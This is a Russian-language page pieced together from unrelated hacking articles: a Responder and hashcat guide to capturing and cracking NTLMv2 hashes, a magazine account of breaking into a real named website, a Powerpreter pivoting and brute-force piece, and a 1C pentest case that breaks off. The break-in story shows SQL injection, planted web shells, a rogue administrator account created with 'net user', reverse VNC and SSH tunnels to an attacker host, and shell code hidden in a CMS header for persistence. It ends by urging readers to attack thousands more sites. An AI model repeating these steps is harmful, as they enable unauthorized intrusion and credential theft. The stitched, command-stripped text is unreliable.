Как взломать windows server

Обновлено: 07.07.2024

Этичный хакинг и тестирование на проникновение, информационная безопасность

Аутентификация в Windows по сети

В Windows реализовано много разнообразных протоколов аутентификации и различных сетевых служб.

Самые распространённые примеры сетевой аутентификации Windows это:

вход на совместную сетевую папку
вход в компьютер с учётной записью Microsoft

Для входа на другие компьютеры в сети Windows используются такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP — думаю, даже пользователям Windows с многолетним стажем эти термины непонятны. В этой статье с помощью программы Responder мы будем перехватывать хеши, используемые при аутентификации в Windows. Программа Responder весьма эффективна и для базового использования не требует знания и понимания методов аутентификации и сетевых служб Windows. Поэтому мы начнём с практики — с перехвата хеша аутентификации и его расшифровки, благодаря чему получим имя пользователя и пароль в операционных системах Windows. Тем не менее в конце статьи будет дана характеристика способов аутентификации и сетевых служб.

Кстати про сетевые службы. Responder использует принципы атаки «человек-посередине», когда атакующий выступает в роле посредника, ретранслятора процесса аутентификации между жертвой и сервером. Responder вместо привычного и хорошо знакомого многих ARP спуфинга эксплуатирует такие сетевые службы Windows как: LLMNR, NBT-NS и MDNS. Опять же, далеко не всем знакомы эти термины и принципы работы этих служб, но, к счастью, Responder и не требует их глубокого понимания, а их краткая характеристика также будет в конце статьи.

Итак, Responder умеет перенаправлять трафик жертвы на компьютер атакующего и выступает посредником во время аутентификации пользователя. Также Responder имеет встроенные сервера аутентификации.

Сбор информации о компьютерах Windows и их сетевых службах в локальной сети

Перед запуском полноценной атаки, давайте хотя бы вскользь начнём знакомство с некоторыми сетевыми службами Windows.

У Responder есть модуль Режима анализа. Этот модуль позволяет вам видеть NBT-NS, BROWSER, LLMNR, DNS запросы в сети без их травления какими либо ответами. Также вы можете пассивно составить карту доменов, серверов MSSQL и рабочих станций, увидеть, будет ли атака ICMP Редиректы иметь успех в вашей сети.

Режим анализа включается опцией -A. Также в своих командах я буду использовать опцию -v для более подробного вывода.

Ещё нужно указать имя сетевого интерфейса — имена всех сетевых интерфейсов на своём компьютере можно посмотреть командой

Интерфейс нужно указывать с опцией -I, я буду использовать сетевой интерфейс с именем wlo1, следовательно, моя команда следующая:

На первом экране нам показана сводка, какие именно травители, сервера аутентификации и опции включены:

Рассмотрим некоторые записи:

Подтверждает, что Responder в режиме анализа и на запросы NBT-NS, LLMNR, MDNS не будут отправляться спуфленные данные для выполнения перенаправления трафика.

В следующей записи

говориться, что в этой сети будет работать ICMP Redirect.

В следующей записи:

говориться, что получен запрос от протокола NBT-NS. Слово ignoring говорит о том, что никаких действий предпринято не было — то есть атакующим не был отправлен ответ.

Информация о запросе по протоколу LLMNR:

В следующих строках:

говориться, что благодаря устаревшему протоколу LANMAN обнаружена рабочая группа с именем WORKGROUP, и что в этой рабочей группе найдены следующие рабочие станции и серверы: HACKWARE-MIAL, HACKWARE-SERVER, RT-N66U, VYACHESLAV — это имена компьютеров Windows в сети.

Пример записи о поступившем запросе по протоколу MDNS:

Для остановки программы нажмите CTRL+c.

Перехват имени пользователя и пароля Windows по сети

Теперь приступим к захвату хеша и затем его расшифровке.

Запускаем responder с набором опций -r -P -v -f, также указываем опцию -I с именем сетевого интерфейса:

Далее атака не требует каких-либо действий с нашей стороны.

Фраза Poisoned answer sent to означает, что был отправлен спуфленный ответ на запрос, результатом которого должно стать перенаправление трафика через наш компьютер. Примеры для всех трёх протоколов:

Пример удачно перехваченного хеша:

Из этих строк следует, что при подключении пользователя к сетевой общей папке по протоколу SMB использовалась аутентификация по протоколу NTLMv2-SSP. Имя компьютера HACKWARE-MIAL, а имя пользователя MiAl. Также дан перехваченный хеш, при расшифровке которого мы получим пароль пользователя.

Анализ результатов responder

Необязательно следить за выводом в консоль и копировать из неё хеши — все данные сохраняются в логи.

Файлы журналов располагаются в папке "logs/". Хеши будут сохранены и напечатаны только один раз на одного пользователя на один тип хеша. Будет выведен каждый хеш, если вы используете Вербальный режим, то есть если вы указали опцию -v.

Вся активность будет записана в файл Responder-Session.log

Режим анализа запишет свой журнал в Analyze-Session.log

Травление будет записано в файл Poisoners-Session.log

В Kali Linux и BlackArch эти файлы размещены в директории /usr/share/responder/logs/.

С помощью команды

можно вывести краткий итог полученных данных: имена компьютеров и имена пользователей.

покажет захваченные хеши.

Обратите внимание, NTLMV2 хеши перечислены после фразы

А NTLMv1 идут после фразы NTLMv1:

Некоторые хеши начинаются на имя пользователя, а затем через два двоеточия идёт имя компьютера:

В некоторых хешах после имени пользователя идёт имя рабочей группы — видимо, в том случае, если не получилось определить имя компьютера:

Для аккаунтов Microsoft в качестве имени пользователя указывается email, а затем через два двоеточия идёт срока «MicrosoftAccount»:

Как взломать хеш NTLMv1/NTLMv2/LMv2

Нам необходимо взломать следующий хеш:

На странице примера хешей, хеш NetNTLMv1 / NetNTLMv1+ESS (режим hashcat 5500) показан так:

А NetNTLMv2 (режим hashcat 5600) показан так:

Мой хеш заметно длиннее, и хотя responder-dumphash поместила этот хеш в группу NTLMV2, у меня возникли некоторые сомнения.

Проверяем ещё одной программой:

То есть всё таки это хеш NetNTLMv2, режим Hashcat равен 5600.

Hashcat поддерживает следующие родственные хеши:

Для запуска атаки по маске для взлома NetNTLMv2 в Hashcat нужно выполнить команду вида:

Пример моей реальной команды:

Обратите внимание на запредельную скорость брутфорса этого алгоритма: 276.9 MH/s. За примерно 0 секунд (программа не показывает доли секунды) перебрано 9,375,744 паролей. Это результат на ноуте с GeForce GTX 1050 Ti — на настольных компьютерах с топовой видеокартой результаты будут ещё более впечатляющими. Можно констатировать — если хеш перехвачен, то он практически наверняка будет взломан, причём довольно быстро.

Для взлома NTLMv2 по словарю в Hashcat запустите команду вида:

Новое в этой команде:

Проблемы запуска responder

check permissions or other servers running

При запуске Режима анализа вы могли увидеть на скриншоте надпись:

Дело в том, что Responder для выполнения функций ретранслятора прослушивает ряд портов, а именно следующие порты: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 и Multicast UDP 5553.

Соответственно, эти порты не должны быть заняты. У меня был запущен веб-сервер, который прослушивал 80й порт, поэтому и возникла эта ошибка. Убедитесь, что в вашей системе все эти порты свободны.

Если на вашей системе запущена Samba, остановите smbd и nmbd и все другие службы, прослушивающие указанные порты.

В Ubuntu по умолчанию запущена служба, которая прослушивает 53 порт, для исправления откройте для редактирования файл /etc/NetworkManager/NetworkManager.conf и закомментируйте строку:

Затем остановите dnsmasq командой:

ValueError: invalid literal for int() with base 10

Если в /etc/resolv.conf в качестве DNS серверов указаны IPv6 адреса, например:

то при запуске Responder в режиме анализа, например:

Для её исправления откройте файл LLMNR.py (в Kali Linux и в BlackArch этот файл размещён по пути /usr/share/responder/poisoners/LLMNR.py), найдите там строку

и замените её на строку:

Продвинутые возможности Responder

Изменить настройки программы вы можете в файле /usr/share/responder/Responder.conf

Сетевые технологии Windows

Протоколы аутентификации Windows

NTLMv1

NTLM (NT LAN Manager) — протокол сетевой аутентификации, разработанный фирмой Microsoft для Windows NT.

NTLM — это результат дальнейшего развития LANMAN.

Никакой официальной информации о нём не поступало, но многое выяснила группа разработчиков Samba во время разработки своей программы.

Для передачи на сервер аутентификации (англ. Primary Domain Controler (PDC) — главный контроллер домена) имени пользователя, хэша пароля и мандата домена в Windows 98 применяется протокол LANMAN, а в Windows NT — протокол NTLM. Windows 2000 и Windows XP по умолчанию делают попытку аутентификации Kerberos (только в случае, когда станция является членом домена), в то же время они сохраняют обратную совместимость с аутентификацией NTLM.

1. Пользователь устанавливает подключение(сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.

Протокол NTLM использует одно или оба значения хешированных паролей, оба из них хранятся на сервере (или контроллере домена), которые из-за отсутствия привязки эквивалентны паролю. Это означает, что хешированное значение с сервера может быть использовано для аутентификации без фактического знания пароля. Эти два значения представляют собой LM Hash (функции, основанные на стандарте шифрования данных для первых 14 символов пароля преобразованные в традиционную 8 битную кодировку для языка ПК) и NT Hash (значение функции MD4 от переведенного в кодировку little endian UTF-16 Unicode пароля). Оба хеша имеют длину в 16 байт (128 бит) каждый.

Протокол NTLM использует одну из двух односторонних функций, зависящих от версии NTLM. NT LanMan и NTLM версии 1 используют функцию LanMan на основе стандартного шифрования данных (LMOWF), в то время как NTLMv2 использует одностороннюю функцию NT MD4 (NTOWF[1][2]).

Проверка подлинности NTLM по-прежнему поддерживается и обязательна для использования на системах, работающих под управлением Windows NT Server 4.0 или более ранних версий, а также для компьютеров, настроенных как члены рабочих групп. Проверка подлинности NTLM также используется для проверки подлинности при аутентификации на изолированных системах. Начиная с Windows 2000, проверка подлинности Kerberos версии 5 является предпочтительным методом проверки подлинности для сред Active Directory.

NTLMv2

NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для повышения безопасности аутентификации путём замены устаревших LM и NTLM v1. NTLMv2 был введён начиная с Windows NT 4.0 SP4 и используется версиями Microsoft Windows вплоть до Windows 10 включительно. С самого изобретения протоколы NTLMv1 и NTLMv2 подвергались множеству нападений и демонстрировали широкий спектр серьёзных уязвимостей.

Клиент пытается установить соединение с сервером и посылает запрос, в котором информирует сервер, на каких диалектах он способен произвести аутентификации, например: LM, NTLM, NTLM2, NTLMv2. Следовательно, диалект аутентификации LMv2 между клиентом и сервером исключается.
Сервер из полученного от клиента списка диалектов (по умолчанию) выбирает наиболее защищённый диалект (например, NTLMv2), затем отправляет ответ клиенту.
Клиент, определившись с диалектом аутентификации, пытается получить доступ к серверу и посылает запрос NEGOTIATE_MESSAGE.
Сервер получает запрос от клиента и посылает ему ответ CHALLENGE_MESSAGE, в котором содержится случайная (random) последовательность из 8 байт. Она называется Server Challenge.
Клиент, получив от сервера последовательность Server Challenge, при помощи своего пароля производит шифрование этой последовательности, а затем посылает серверу ответ AUTHENTICATE_MESSAGE, который содержит 24 байта.
Сервер, получив ответ, производит ту же операцию шифрования последовательности Server Challenge, которую произвёл клиент. Затем, сравнив свои результаты с ответом от клиента, на основании совпадения разрешает или запрещает доступ.

LMv2

LM-хеш, или LAN Manager хеш, — один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager, откуда и произошло название, и в версиях Windows до Windows Me. Он также поддерживается и более поздними версиями Windows для обратной совместимости, хотя в Windows Vista его приходится включать вручную.

Эволюция алгоритмов аутентификации LM и NTLM: LM → LMv2 → NTLM → NTLM2 → NTLMv2

Сетевые службы Windows

Теперь рассмотрим сетевые службы Windows, эксплуатируя которые становится возможным выполнить перенаправление трафика на компьютер атакующего.

LLMNR

Link-Local Multicast Name Resolution (LLMNR) — это протокол, основанный на формате пакета системы доменных имён (DNS), который позволяет хостам как IPv4, так и IPv6 выполнять разрешение имён для хостов на одном и том же локальном канале. Он включён в Windows Vista, Windows Server 2008, Windows 7, Windows 8 и Windows 10. Он также реализован с помощью systemd-resolved в GNU/Linux.

Отвечая на запросы, респонденты прослушивают порт UDP 5355 по следующему адресу многоадресной рассылки:

IPv4 - 224.0.0.252, MAC адрес 01-00-5E-00-00-FC
IPv6 - FF02:0:0:0:0:0:1:3 (эту нотацию можно сократить до FF02::1:3), MAC адрес 33-33-00-01-00-03

Ответчики также прослушивают TCP-порт 5355 по одноадресному (unicast) адресу, который хост использует для ответа на запросы.

NBT-NS

NBT-NS это NetBIOS-NS, то есть NetBIOS Name Service.

NetBIOS Name Service является одним из трёх сервисов NetBIOS: служба имён (NetBIOS-NS) для регистрации и разрешения имён. Подробности смотрите в статье NetBIOS: что это, как работает и как проверить.

Примитивы службы имён, предлагаемые NetBIOS:

Add name (Добавить имя) — регистрирует имя NetBIOS.
Add group name (Добавить имя группы) — регистрирует NetBIOS-имя группы.
Delete name (Удалить имя) — отменяет регистрацию имени NetBIOS или имени группы.
Find name (Найти имя) — поиск имени NetBIOS в сети.

Разрешение имён NetBIOS не поддерживается Microsoft для Интернет-протокола версии 6 (IPv6).

MDNS

В компьютерных сетях протокол многоадресной DNS (mDNS) разрешает имена хостов в IP-адреса в небольших сетях, которые не включают локальный сервер имён. Это сервис с нулевой конфигурацией, использующий по существу те же программные интерфейсы, форматы пакетов и рабочую семантику, что и одноадресная система доменных имён (DNS). Хотя Стюарт Чешир разработал mDNS как самостоятельный протокол, он может работать совместно со стандартными DNS-серверами.

Протокол mDNS опубликован как RFC 6762, использует пакеты многоадресного протокола дейтаграмм пользователя (UDP) и используется пакетами программного обеспечения Apple Bonjour и Avahi с открытым исходным кодом. Android содержит реализацию mDNS. mDNS также был реализован в Windows 10, первоначально применение ограничивалось обнаружением сетевых принтеров, впоследствии стал способным также разрешать имена хостов.

mDNS может работать в сочетании с DNS Service Discovery (DNS-SD), сопутствующим методом нулевой конфигурации.

По умолчанию mDNS разрешает только имена хостов, относящихся к доменам верхнего уровня (TLD) .local. Это может вызвать проблемы, если этот домен включает хосты, которые не реализуют mDNS, но которые можно найти через обычный DNS-сервер одноадресной передачи. Разрешение таких конфликтов требует изменений конфигурации сети, которые нарушают цель нулевой конфигурации.

Серверы Windows

SMB

MSSQL

Система управления базами данных.

FTP

Протокол обеспечивающий работу файлового сервера.

LDAP

LDAP (англ. Lightweight Directory Access Protocol — «легкорасширяемый протокол доступа к каталогам») — протокол прикладного уровня для доступа к службе каталогов X.500, разработанный IETF как облегчённый вариант разработанного ITU-T протокола DAP. LDAP — относительно простой протокол, использующий TCP/IP и позволяющий производить операции аутентификации (bind), поиска (search) и сравнения (compare), а также операции добавления, изменения или удаления записей. Обычно LDAP-сервер принимает входящие соединения на порт 389 по протоколам TCP или UDP. Для LDAP-сеансов, инкапсулированных в SSL, обычно используется порт 636.

Любой взлом преследует цель, которая определяет его ценность. Задефейсить
сайт для латентных любителей клубнички или поиметь очередной рутовый шелл –
решать тебе. Реалии таковы, что любая уязвимость в web-приложении таит угрозу
для сервера. И если ты не ограничиваешься банальными и уже слегка поднадоевшими
SQL-инъекциями – статья для
тебя. На входе адрес жертвы, на выходе админский доступ по RDP – классика
проникновения!

Прелюдия, или Как все начиналось

Глянув на иконку любимого сканера и ухмыльнувшись, я решил все-таки не
напрягать админов, а обратиться к Великому Индексу и решить все тихо и мирно.
Итак, заветная фраза "insite:ism.ws", кнопка Search и… можно считать, что дело
сделано?

Порядка 10000 результатов от Google обещали кропотливую работу. Лис быстро
обзавелся вкладками, в которые полетели всякие кавычки, равенства, дефисы и
прочая нечисть.

Глава 1, или Все мы грешны

Практика показывает, что почти любой крупный ресурс имеет инъекции. Хоть
маленькая, незрячая и фильтруемая инъекция, но есть наверняка. Надо лишь
присмотреться. Вот и здесь заветный плод был найден по адресу

Все оказалось настолько тривиально, что не возникало ни тени сомнения в
успешности дальнейших действий. Привычная сине-серая страница ошибки ColdFusion,
представшая перед глазами, открыла взору и полный SQL-запрос, и тип СУБД (SQL
Server), и локальный адрес скрипта. Вообще, информативность ошибок, выдаваемых
ColdFusion, просто поражает – даже полный стек вызовов, бери, не хочу.
Инъекция найдена, пора приступать к внедрению.

Глава 2, или Да здравствуют ошибки

Сервер БД от мелкомягких всегда поражал возможностями. Я не говорю о
стандартах, которые, в общем-то, все разработчики СУБД трактуют по-разному. Но
парни из Microsoft, вообще, каким-то своим, неведомым путем идут. Мне, например,
нравится работать с SQL Server. Не надо ни количество колонок подбирать, ни их
типы – ошибку на преобразование вызвал, и в ответе вся информация из базы, как
на блюдечке. Очень удобно! Сначала проверяем возможность вывода:

В ответ получаем ошибку:

Имеем сервер не первой свежести и базу RDCMS-ISM-Core. Внимательно
присмотревшись, я буквально подпрыгнул от радости: аббревиатура CMS явно давала
понять, что сайтик не на коленках сварганен, а целая большая и уважаемая контора
это чудо написала и бабла срубила. Но об этом позже. А сейчас на очереди
структура БД.

На этом этапе мне детище Microsoft нравится уже не так сильно. Мало того, что
разработчики так и не удосужились сделать нормальный пейджинг результатов, так
еще и row_number в 2000 сервере реализовать не успели. Так что, ждет нас жесткая
эротическая прогулка с использованием топовой конструкции. TOP – это такая
фишка, которая позволяет получить первые несколько записей по запросу. А вот с
какой записи начинать, указать невозможно, что в условиях нашего нереального
взлома ну совсем никак не удобно. Можно, конечно, пойти стандартным путем:
получать по одной записи, запоминать и явно исключать из следующих запросов. Но
мне этот метод совсем не в кайф: и автоматизации трудно поддается, да и длина
URL не резиновая – для больших баз накроет нас медным тазом.

Поэтому мы всех обманем. Сортируем вверх и вниз – получаем приемлемый
пейджинг. Сервак пощадим и добавим условия на проверку названий полей – пусть
они пароли какие-нибудь содержат. Ну а для того, чтобы совсем круто было,
определим для начала их количество (примеры запросов смотри ниже). Вот так вот –
их 9. Поехали!

Сразу бросилась в глаза табличка ES_LoginInfo (RDCMS-ISM-Core : dbo :
ES_LoginInfo : Password). В общем-то, можно потирать руки и заказывать пиццу, но
не тут-то было. Определив структуру таблицы, я получил следующую картину. В
таблице присутствовало три интересных поля: EntityID, Username и Password.
Думаю, объяснять не надо, что я быстро составил новую серию запросов и моим
глазам предстали данные юзверей. Пароли хранились в открытом виде и можно было
сломя голову кидаться на сайт в поисках заветной админки. Я, кстати, когда
добрался до исходников, долго и тупо втыкал, почему нельзя было шифровать
пароли, если парни-разработчики CMS это предусмотрели (SHA-1, SHA-512, MD5) и
даже реализовали собственный алгоритм (iMIS). Ну да ладно, я залогинился,
пошарил по сайту и вернулся к дампу структуры БД – еще же в 8 таблицах были поля
с паролями.

Как же устроить пейджинг?

Получить все данные из БД за один запрос – мечта любого хакера. Но жизнь
диктует свои условия и, как правило, взломщик вынужден выуживать информацию
строчка за строчкой. Но вот беда, разработчики СУБД решили ситуацию усугубить,
причем каждый по-своему. Итак, о схемах пейджинга данных.

1. MySQL. Предлагает конструкцию limit [offset, ]rowcount. Выбираем
rowcount (в нашем случае 1) строк, начиная со строки offset. Гениально, просто
молодцы!

2. Oracle. Используем псевдостолбец rownum. Проблема в том, что rownum
генерируется автоматически, и нельзя, к примеру, выставить условие типа
rownum=n. Такой запрос вернет пустой результат. Без подзапросов здесь не
обойтись:

select fieldname from (select a.fieldname, rownum r from (select fieldname
from tablename) as a where r=<offset>)

3. SQL Server 2005. Здесь все по стандарту: используем row_number().
Например:

select field1, field2 from (select row_number() over (order by a.field1) as
r, a.field1, a.field2 from (select field1, field2 from tablename) as a) as b
where r=<offset>

4. SQL Server 2000. А вот здесь все жестко: у нас есть только TOP. Для
пейджинга применим такую хитрость: если нам нужно выбрать запись с номером
offset, мы сначала выберем TOP <offset> записей с восходящей сортировкой, а
уже из полученного результата выберем первую запись с нисходящей. В результате
последняя строка станет первой и… дело сделано. Только помни, для получения
корректного результата сортировать нужно по всем полям в запросе!

Глава 3, или Доступ открыт

Глава 4, или Холодный сплав

Что делать с FTP, полагаю, вопросов ни у кого не вызывает. На ум сразу
приходит обеспечить выполнение команд на серваке и выбраться, наконец, на
свободу из душных объятий web-приложения. Очевидно, нужен веб-shell, который
позволит бродить по серверу и выполнять команды. Но вот беда – никаких следов
PHP или, на худой конец, Perl обнаружено не было. А значит, момент истины
наступил: придется программить на ColdFusion. Очень гибкая и простая в освоении
среда (по словам разработчиков), но мне почему-то ни разу не нравится. Так что,
гуглим на тему Web-shell’ов и дико обламываемся. Все ссылки приводят к одному и
тому же невзрачному кусочку кода, который только команды исполнять и умеет. Ну
да ладно, сейчас подточим и подпишем, нужно лишь матчасть поднять. Некоторое
время ушло на нереально крутую разработку, после чего на свет появились два
отпрыска. Первый нас водит по дирам и файлы показывает, второй нас слушает и
делает, что мы прикажем.

Файлы быстро заняли свое законное место. Вскоре я понял, что владею правами
учетки SYSTEM, а это было нереально круто. Останавливаться на достигнутом было
нельзя.

Глава 5, или Черный брат

net user st password /add
net localgroup Administrators st /add

Глава 6, или Привет, окошки

Основная проблема заключалась в организации обратного коннекта на наш дедик.
Опыт с netcat ясно давал понять, что порты блокируются только на входящие
соединения, поэтому организация обратного коннекта от какой-нибудь графической
системы управления наверняка дала бы возможность рулить серваком. Естественно,
выбор пал на VNC. Схема внедрения VNC, в целом, достаточно проста (для TightVNC,
например):

На сервак заливаются winvnc.exe и wm_hooks.dll.
Устанавливается и запускается VNC-сервер.
winvnc.exe –install
net start "VNC Server"
На дедике запускается клиент в режиме прослушивания.
Осуществляется реверс-коннект.
winvnc.exe –connect <host>:<port>.

У нас почти все схвачено, кроме одной маленькой детали, а именно – наличия
доступа к рабочему столу. Надежда умирала, едва успев родиться, так как шелл у
нас был с правами учетной записи SYSTEM. Не были бы мы хакерами, если бы не
попробовали, но, как и ожидалось, все попытки шли лесом. Был даже испробован
Metasploit с windows/vncinject/reverse_tcp нагрузкой (жутко тормозная вещь), но
и Великий Фреймворк не помог. Принцип внедрения VNC на сервер посредством
неинтерактивного шелла и в условиях отсутствия доступа к рабочему столу остался
неведом. На самом деле, я даже обрадовался – зачем нам VNC, если есть RDP. Надо
только пробиться через фаер.

Гениальная мысль с PPTP заключается в создании PPTP-соединения до нашего
дедика – и в дальнейшем обращении к узлу по внутренней адресации с
туннелированием трафика сквозь фаер. В Винде все соединения настраиваются
графически, но должен быть способ работы из консоли. Запускаем на тестовой
машине procmon от
Руссиновича и мониторим реестр в момент вызова клиента подключения к сети.
Результат не поддается разумному объяснению, - ничего интересного с реестром не
происходит. Microsoft сама себя превзошла. Стоило создавать реестр, если
собственные же модули им не пользуются. Пусть подумают на досуге, а мы, тем
временем, нашли "телефонную книгу" по адресу C:\Documents and Settings\All
Users\Application Data\ Microsoft\Network\Connections\Pbk\rasphone.pbk, в
которой, собственно, и описываются параметры подключения к Dial-up и VPN-сетям.
Создаем подключение к дедику (с установленной и настроенной службой RRAS) на
тестовой машине и копируем полученный файл rasphone.pbk на взломанный хост.
Затем создаем командный файл следующего содержания:

rasdial connection_name user password
route add 0.0.0.0 mask 0.0.0.0 remotehostgateway

Вторая строчка нужна для восстановления маршрута по умолчанию после
подключения, чтобы наш дедик не взял на себя все обязательства по маршрутизации
трафика. Запускаем батник и выпадаем в осадок :). Соединения нам не видать, как
своих ушей, видимо, фаер блокирует исходящие соединения на основе типа
протокола. В черный список попал и наш GRE-трафик.

Отчаяние все сильнее проникало в наши души, но мы не сдались. По правде,
тупили мы очень долго, так как надо было сразу обращаться за помощью к SSH. Это,
кстати, очень мощный зверь, о чем не раз писалось в ][. Не только шелл можно
получить, но и много других хитрых вещей придумать. Наша последняя надежда
заключалась в успешной реализации всего трех шагов:

запустить на дедике SSH-сервер
залить на узел SSH-клиент
подключиться и создать нужный маппинг портов

Я многое могу понять, но, например, почему в Винде в XXI веке до сих пор нет
встроенного SSH-сервера, мне неведомо. Ну да ладно, ставим любой, благо их
довольно много. В качестве клиента, естественно, используется любимый putty. Но
только putty не простой, а волшебный. Если помнишь, при обращении к новому узлу
putty честно предлагает сохранить сигнатуру в кэше. Доступ к командной строке у
нас интерактивностью не отличается, и ничего мы ответить на этот вопрос попросту
не сможем. Значит, надо, чтобы отпечаток сохранялся автоматически, а putty этого
не умеет. Немного погуглив, мы нашли Quest PuTTY 0.60_q1.129. Все то же самое,
плюс то, что нам нужно!

Заливаем plink.exe на сервак и исполняем команду:

Смотрим в консоли SSH-сервера и дико радуемся – есть коннект! Теперь
запускаем mstsc и коннектимся на localhost:3390. Нашему взору предстает окно
входа Windows 2000. Вводим туда данные добавленного c помощью "net user
администратора" и наслаждаемся графикой с правами администратора. Ура, можно
хлебнуть настоящего рок-н-рольного пойла, то есть виски, и отпраздновать успех.

Глава 7, или Даешь автоматизацию

На первый взгляд, все замечательно, но каждый раз заходить на web-shell и
запускать команду на подключение по SSH на следующий день стало слишком
утомительным. Поэтому наикрутейший ColdFusion-шелл был немного модифицирован для
исполнения команды подключения без участия человека. Код модификации шелла
смотри на нашем DVD.

Кусок кода был заныкан в файл header.cfm, который, в свою очередь,
подключается к большинству файлов CMS. Далее создаем простую форму, указывающую
на любой *.cfm-файл на серваке, и получаем простой способ организации RDP.

Эпилог, или Все только начинается

Когда был найден сайт разработчика CMS, руки горели проверить его на
прочность. Ошибка в CMS была на том же месте. Вот только таблица SM_Sites
содержала одну единственную пустую запись, и мечты об FTP не осуществились.
Пароли были зашифрованы, и, судя по всему, тем самым зловещим iMIS (длина 120
бит). Возиться было уже неохота, так что мы решили оставить это тебе. Ну а чтобы
был стимул, вбей в Google inurl:navItemNumber – 12000 записей будут манить тебя
и вдохновлять на подвиги.

Для автоматизации поиска уязвимостей можешь воспользоваться следующими
продуктами:

Получение инфы из БД вручную - утомительный и неблагодарный процесс.
Присмотрись к средствам автоматизации (или разработай свой продукт), например
SIPT. ИМХО, прога часто глючит, работает однопоточно, но с задачей справляется.

Полную версию статьи
читай в июньском номере
Хакера!
На нашем диске тебя ждут исходники простого web-shell’а для сайтов под
управлением ColdFusion.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор,
ни редакция за твои действия ответственности не несут!

Это вторая статья из цикла статей о powerpreter’е. Первую вы можете прочитать здесь:

Мы можем использовать Powerpreter, чтобы получить удаленный доступ и взламывать другие машины в сети. Далее я предполагаю, что у нас есть права локального администратора к машине в какой-то сети. Также наша учетная запись имеет права на доступ к другим машинам в сети (как и в большинстве корпоративных сетей).

Удаленный доступ

Powerpreter содержит функционал Pivot. Он основывается на Powershell Remoting, то есть все, что можно сделать через Pivot, можно сделать и с помощью Invoke-Command. По сути Pivot просто является оболочкой для Invoke-Command.

Он может быть использован как в интерактивном, так и в не интерактивном режиме. Можно использовать имя пользователя и пароль или авторизацию текущей сессии (например, используя WCE-сгенерированную powershell сессию).

Давайте рассмотрим процедуру получения удаленного контроля (Pivot) над одной машиной.

Мы можем проделать это и для нескольких машин. Давайте посмотрим результат не интерактивного Pivot’а на нескольких машинах.

Просто и удобно, не правда ли?

Не интерактивный режим, конечно хорош, но он не сравнится с интерактивным. Давайте посмотрим, как происходит интерактивное получение доступа с помощью WCE-сгенерированного powershell (с использованием хэша пароля).

Отлично! У нас тут две сессии. Можем использовать Get-PSSession cmdlet для их отображения. Для взаимодействия с сессией используем функцию powerpreter’а Use-Session

Для взаимодействия мы можем использовать встроенную cmdlet Enter-PSSession. Возникает вопрос, зачем мы используем разные функции для выполнения похожих действий? Это случается, когда имеет место попытка вызова Enter-PSSession из удаленной сессии powerpreter’а .

Что следует помнить в предыдущем примере:

При использовании Pivot с удаленной машины, следует использовать учетные данные в форме «имя_компьютера\имя_пользователя»
При попытке вызова Enter-PSSession из удаленной сессии, была получена ошибка, AFAIK не поддерживается.
Но Use-Session работает!

.ОПИСАНИЕ
Данный функционал позволяет взаимодействовать с сессией, созданной с помощью Pivot. Для получения списка созданных Pivot сессий используйте Get-PSSSession.
.ПАРАМЕТР id
ID сессии, с которой необходимо взаимодействовать.
.ПРИМЕР
PS > Use-Session -id <id>

Вызов Invoke-Command поддерживается из удаленной powershell сессии. Мы используем ее с ключом –Session, чтобы сохранить ее состояние и иметь возможность использовать ее интерактивно.

Теперь давайте рассмотрим еще некоторый функционал powerpreter’а, позволяющий взламывать компьютеры, находящиеся с вами в одной сети.

Как следует из названия, мы можем использовать данную функцию для сканирования портов на других компьютерах сети.

Стоит отметить, что для сканирования портов был использован ключ –ScanPort. По умолчанию выполняется только ping, а также существует набор портов, сканируемых данной командой, но можно задать и свой набор портов.

Давайте поищем MS SQL Server в нашей сети.

Бинго! Мы нашли один.

Данная функция позволяет осуществлять взлом перебором значений таких служб, как, MSSQL, ActiveDirectory, Web или FTP на других компьютерах (по умолчанию – MSSQL). Давайте взломаем ранее найденный MSSQL Server с именем пользователя sa.

Как вы видите, мы можем использовать словарь паролей (а также IP адресов и имен пользователей) вместо использования одного пароля. Здесь есть небольшая уловка: список паролей должен начинаться со слова «password», как в нашем примере.

Почему? Давайте взглянем на код.

Param(
[Parameter(Mandatory = $true,
Position = 0,
ValueFromPipeLineByPropertyName = $true)]
[Alias("PSComputerName","CN","MachineName","
IP","IPAddress","ComputerName","Url","Ftp"
,"Domain","DistinguishedName")]
[string]$Identity,

[parameter(Position = 1,
ValueFromPipeLineByPropertyName = $true)]
[string]$UserName,

[parameter(Position = 2,
ValueFromPipeLineByPropertyName = $true)]
[string]$Password,

Execute-Command-MSSQL

Create-Multiple-Session

Как всегда делитесь впечатлениями, сообщайте, если найдете ошибки и оставляйте пожелания.

Сегодня мы расскажем, как можно получить права локального администратора на сервере MS Windows Server 2016 через незащищенную базу 1С: Предприятие 8. Мы уверены в том, что данный кейс будет интересен, как специалистам по информационной безопасности, так и системным администраторам. В конце Вас ждет бонус.

Во время выполнения внутреннего тестирования на проникновение мы столкнулись с крайне редкой ситуацией, в сети Заказчика не было обнаружено ни одной уязвимости с помощью автоматизированных сканеров уязвимостей. ДИБ (Департамент информационной безопасности) Заказчика тщательно «пропылесосил» все свои активы и этим закрыл большинство стандартных векторов атак. Мы смогли реализовать несколько сценариев и о самом интересном рассказываем.

Получение учетных данных для MS SQL Server

Сканируя ресурсы в сети, мы обнаружили кластер серверов 1С: Предприятия 8:

Данный кластер не был защищен паролем и к нему удалось подключиться с помощью стандартной консоли для администрирования серверов 1С Предприятия.

Функционал консоли администрирования серверов 1С позволяет настраивать 1С сервер и работать с информационными базами, в том числе просматривать все созданные базы на сервере. Таким образом, был получен список информационных баз, расположенных на данном сервере:

Проанализировав все базы, мы обнаружили, что база perf не защищена паролем.

В конфигурации для тестирования производительности требуется указать учетные данные для подключения к серверу баз данных. Учетные данные сохраняются в информационной базе. В нашем случае так и произошло, системный администратор не удалил учетные данные после выполнения тестов производительности:

